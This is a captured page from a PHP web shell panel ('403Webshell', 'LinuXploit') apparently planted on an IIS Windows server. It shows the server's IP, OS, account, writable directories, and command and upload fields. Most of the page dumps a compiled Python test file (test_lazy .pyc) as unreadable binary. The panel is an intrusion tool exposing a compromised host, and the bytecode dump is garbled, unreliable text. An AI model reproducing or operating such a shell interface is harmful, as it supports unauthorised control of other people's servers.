403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/test_importlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/test_importlib/__pycache__/test_lazy.cpython-315.pyc
R
>lqj c�D�]PHs]QHGs]QHGs]PHs]PHs]PHs]PHs]PHs]QH G	s	]QH(GsQQ2sQQ\O2sQQ	\O\O 2sQ
Q\O2s\Q6Xc\O(2P!P!)
�)�abc)�util)�threading_helperc�.`�\sQs]snQsQsQsUsP!)�CollectInitc� �VmV mP!�N��args�kwargs)�selfr
rs&*,�2C:\Python315\\Lib\test\test_importlib\test_lazy.py�__init__�CollectInit.__init__s���	���c��U!r��r�modules&&r
�exec_module�CollectInit.exec_modules���rr	)�__name__�
__module__�__qualname__�__firstlineno__rr�__static_attributes__�__classdictcell__��
__classdict__s@r
rrs������rrc�.`�\sQs]snQsQsQsUsP!)�LazyLoaderFactoryTestsc���[OO[2oUQQQQ5oUOoUOQUO2UOQQ-UO2P!)�module name�module path�kw)r$)r"r#)r�
LazyLoader�factoryr�loader�assertEqualr
r)rr&�lazy_loaderr's&   r
�	test_init� LazyLoaderFactoryTests.test_inits^���/�/�)�)�+�6���m�]�t�D���#�#�����7����E����$���v�}�}�5rc���UO[29^tt^2[OO	[
2PPP2P!)%fhP!9hr)�assertRaises�	TypeErrorrr%r&�object�rs&r
�test_validation�&LazyLoaderFactoryTests.test_validation#s4��
�
�
�y�
)�
)��O�O�#�#�F�+�*�
)�
)�
)�s�$A
�
A	�A	r)rrrrr*r1rrrs@r
r r s����6�,�,rr c�d`�\sQs])snQsQsPs]sQO\2s	QQks
QsQsUs
P!)�TestingImporter�lazy_loader_test�changedzattr = 42; __name__ = {!r}c�~�VO6wcP![OU[OU22!r)�module_namer�spec_from_loaderr%)r�name�path�targets&&&&r
�	find_spec�TestingImporter.find_spec1s-���#�#�#���$�$�T�4�?�?�4�+@�A�Arc��[OQ2[UOUO2VmU9O]*
tmP!)g{�G�z�?)�time�sleep�exec�source_code�__dict__�loaded�
load_countrs&&r
r�TestingImporter.exec_module6s5���
�
�4���T�
�
�v���/������1��r)rEr)rrrrr8�mutated_namerErF�formatrCr=rrrrs@r
r4r4)s9����$�K��L�
�F��J�.�5�5�l�C�K�B�
�rr4c�`�\sQs]=snQsQQksQsQsQsQs	Qs
QsQ	sQ
s
Qs\O 2Q2sQ
sQsQsUsP!)�LazyLoaderTestsc��UO[29^tt^2[O[2PPP2P!)%fhP!9hr)r-r.rr%r/r0s&r
r*�LazyLoaderTests.test_init?s.��
�
�
�y�
)�
)��O�O�F�#�*�
)�
)�
)�s�A�A	�
A	c���Ue[2oUdVm[O[O[O
U22oUOOU2oUe%[O[O2oV4m
UOUmUOOU2UOUO2U!r)r4rCrr9r8r%r'�
create_module�types�
ModuleType�__spec__�
__loader__r�assertIsNonerE)rrCr'�specrs&&&  r
�
new_module�LazyLoaderTests.new_moduleDs����>�$�&�F��"�!,���$�$�_�%@�%@�%)�_�_�V�%<�>�����*�*�4�0���>��%�%�o�&A�&A�B�F��� �K�K���������'����&�-�-�(��
rc	�V�[2oUOdPg[OUO29^tt^2[O
U,Q59^tt^2[OUO2oPPP2PPP2UOUO2UOWOU2UOUO2UOV!O2P!)%fhK�9h)%fhK�9h)N)�	meta_path)r4rE�	test_util�uncacher8�import_state�	importlib�
import_modulerTr(rS�assertIsNotNone)r�importerrs&  r
�test_e2e�LazyLoaderTests.test_e2eUs���"�$�����&�&�&�
�
�
�x�3�3�
4�
4��'�'�8�*�=�=�"�0�0��1E�1E�F��>�5�	
���(�/�/�*�����*�*�H�5����X�_�_�-�������1�
>�=��5�
4�s0�!D�%!D	�D�D
�D
�D�D(	�!D(	c�|�UO2oUO[OUO2P!r)rVr(r4rHrrs& r
�test_attr_unchanged�#LazyLoaderTests.test_attr_unchangedbs*�����"������5�5�v���Grc�n�UO2o]*UmUO]*UO2P!)�*)rV�new_attrr(rs& r
�
test_new_attr�LazyLoaderTests.test_new_attrhs)�����"���������V�_�_�-rc�n�UO2oQUmUOQUO2P!)�bogus)rVrr(rs& r
�test_mutated_preexisting_attr�-LazyLoaderTests.test_mutated_preexisting_attrns+�����"��!�������&�/�/�2rc�n�UO2o]UmUO]UO2P!)�)rV�attrr(rs& r
�test_mutated_attr�!LazyLoaderTests.test_mutated_attrus+�����"���������F�K�K�(rc�P�UO2oU;UOUQ2P!�rq)rVrq�assertNotHasAttrrs& r
�test_delete_eventual_attr�)LazyLoaderTests.test_delete_eventual_attr|s#�����"���K����f�f�-rc�P�UO2oU;UOUQ2P!)r)rVrrvrs& r
�test_delete_preexisting_attr�,LazyLoaderTests.test_delete_preexisting_attr�s#�����"���O����f�j�1rc	���[O[O29^tt^2[O
[O2oU[O[O$UO2oUO[Q29^tt^2UOPPP2PPP2P!)%fhK9h)%fhP!9h)�substituted)rZr[r4r8rPrQ�sys�modulesrV�assertRaisesRegex�
ValueErrorr)r�fresh_modulers&  r
�test_module_substitution_error�.LazyLoaderTests.test_module_substitution_error�s���
�
�
��:�:�
;�
;� �+�+�O�,G�,G�H�L�7C�C�K�K��3�3�4��_�_�&�F��'�'�
�M�B�B����C�	<�
;�C�B��	<�
;�
;�s0�A4C�"
C	�/C�C
�
C
�C�C%	�C%	c��[O[O29^tt^2UO	2oU[
O[O$UOPPP2P!)%fhP!9hr)rZr[r4r8rVr~rrrs& r
�test_module_already_in_sys�*LazyLoaderTests.test_module_already_in_sys�sO��
�
�
��:�:�
;�
;��_�_�&�F�7=�C�K�K��3�3�4��O�O�	<�
;�
;�
;�s�>A6�6B	�?B	c
�j`�[O[O29^tt^2[2oUO	UQ5nUOUO]2QQ[O2oU1Qko,o[]2FD-oUOUUQ59o2UO2J/	SFD.oUO2UOUO2J0	UOUO]2PPP2P!)%fhP!9h))r'c�8``�\sQs]�snPsU1QksQsUsU9s!)�<LazyLoaderTests.test_module_load_race.<locals>.RaisingThreadc�f:�[RU_2P![coXmPo=P!Po=hh9hr)�super�run�	Exception�exc)rr��	__class__s& �r
r��@LazyLoaderTests.test_module_load_race.<locals>.RaisingThread.run�s(���'����
��$�'�#&����'�s��	0�0�+�0)r�)	rrrrr�r�rr�
__classcell__)r�rs@@r
�
RaisingThreadr��s������'�'rr�c�:�RO!rru)rs�r
�
access_module�<LazyLoaderTests.test_module_load_race.<locals>.access_module�s
����{�{�"r)r<)rZr[r4r8rVr(rF�	threading�Thread�range�append�start�joinrTr�)rr'r�r��threads�_�threadrs&      @r
�test_module_load_race�%LazyLoaderTests.test_module_load_race�s����
�
�
��:�:�
;�
;�$�&�F��_�_�F�_�3�F����V�.�.��2�
'�	� 0� 0�
'�
#��G��1�X������m�)L�L�v�M������
"�����
��!�!�&�*�*�-�"�

���V�.�.��2�7<�
;�
;�
;�s�C(D!�!D2	�*D2	c�(�[OTt,tFDpOQ2%fJUMJ	oo[OU9^tt^2[
OQ2o[
OUO2oVCm[
OU2oU[OQ$UOU2UOQ2oUOU-2PPP2P!ttoh)%fhP!9h)�jsonz{})
r~r�
startswithrZr[rr=r%r'�module_from_specr�loadsr()rr:�json_modulesrUr'r�	test_loads&      r
�"test_lazy_self_referential_modules�2LazyLoaderTests.test_lazy_self_referential_modules�s���*-���P������8O�����P�
�
�
��
-�
-��>�>�&�)�D��_�_�T�[�[�1�F� �K��*�*�4�0�F�"(�C�K�K������v�&����T�*�I����Y��+�.�
-��Q�
-�
-�
-�s�C;�C;�BD�D	�	D	c���UOQQ5oU[O[O$UOU[O2UOUOQ2UO[29^tt^2QUm	PPP2UO[29^tt^2U;	PPP2P!)%fhK:9h)%fhP!9h)aDimport sys
from types import ModuleType

CONSTANT = 3.14

class ImmutableModule(ModuleType):
    def __setattr__(self, name, value):
        raise AttributeError('Read-only attribute!')

    def __delattr__(self, name):
        raise AttributeError('Read-only attribute!')

sys.modules[__name__].__class__ = ImmutableModule
)rCg��Q�	@g�G�z�@)rVr~rr4r8�assertIsInstancer�_LazyModuler(�CONSTANTr-�AttributeErrorrs& r
�test_lazy_module_type_override�.LazyLoaderTests.test_lazy_module_type_override�s���
���.����4:����O�/�/�0����f�d�&6�&6�7�������$�/�
�
�
�~�
.�
.�"�F�O�/�
�
�
�~�
.�
.���/�
.�/�
.��
.�
.�
.�s$�C�;C�C	�C	�C,	�$C,	r)NN)rrrrr*rVrardrirmrrrwrzr�r�r�requires_working_threadingr�r�r�rrrs@r
rKrK=si����$�
�"2�H�.�3�)�.�2�
 ���0�0�2�3�3�3�<,�$ � rrK�__main__)r]rrr~r@r�rP�unittest�test.supportr�test.test_importlibrZr�TestCaser �MetaPathFinder�Loaderr4rKr�mainrrr
�<module>r�s������
�����)�1���,�X�.�.�,�"�c�(�(�#�*�*��(d �h�'�'�d �N�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit